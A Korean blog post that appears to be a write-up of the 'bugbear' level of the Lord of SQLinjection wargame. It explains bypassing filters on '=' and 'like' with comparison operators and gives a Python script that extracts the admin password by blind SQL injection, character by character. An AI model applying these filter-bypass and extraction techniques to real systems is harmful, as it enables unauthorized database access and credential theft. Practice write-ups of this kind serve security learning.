LOS(los.rubiya.kr) bugbear

 Blind SQLi 인데 파라미터가 하나 더 추가 됐고 필터링도 조금 추가됐습니다. 여기서 좀 고생을 했는데.. 기존엔 계속 id='admin'을 쓰다가 필터링으로 인해 그걸 쓰지 못해서 어떻게 해야하나 고민하느라 시간이 좀 걸렸습니다. 일단 no로 admin을 특정할 수 있는데 =도 안되고 like도 안됩니다. ㅠㅠ 그래서 비교연산자(<, >)를 이용해서 풀었습니다. 예를들면 no=2가 admin인데 no>1 && no<3 이런식으로 no=2를 지정했습니다. length와 mid도 마찬가지.

...더보기
import urllib2
import requests

flag = ""
length = 0
i = 1

session = dict(PHPSESSID = "qt55vvaetoc7mrikuq8qjmopr5")
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw="
while True:
    q = url + "1&no=1||no>1%26%26no<3%26%26length(pw)>"+str(i-1)+"%26%26length(pw)<"+str(i+1)+"%23"
    print 'TEST #',i
    print q
    r = requests.post(q, cookies=session)
    if "Hello admin" in r.text:
        length = i
        break

    i = i + 1

print " PASSWORD LENGTH : ", length

for j in range(1, length +1):
    for i in range(48,123):
        q = url + "1&no=1||no>1%26%26no<3%26%26mid(pw,"+str(j)+",1)>"+"\""+chr(i-1)+"\"%26%26mid(pw,"+str(j)+",1)<"+"\""+chr(i+1)+"\"%23"

        print 'TEST #', j, '-', i
        print q
        r = requests.post(q,cookies=session)

        if 'Hello admin' in r.text:
            flag += chr(i)
            print "FLAG : ",flag
            break

'Web Hacking > los.rubiya.kr' 카테고리의 다른 글

[Lord of SQLinjection] Assassin  (0) 2019.08.26
[Lord of SQLinjection] Giant  (0) 2019.08.26
[Lord of SQLinjection] Darkknight  (0) 2019.08.26
[Lord of SQLinjection] Golem  (0) 2019.08.26
[Lord of SQLinjection] Skeleton  (0) 2019.08.18

+ Recent posts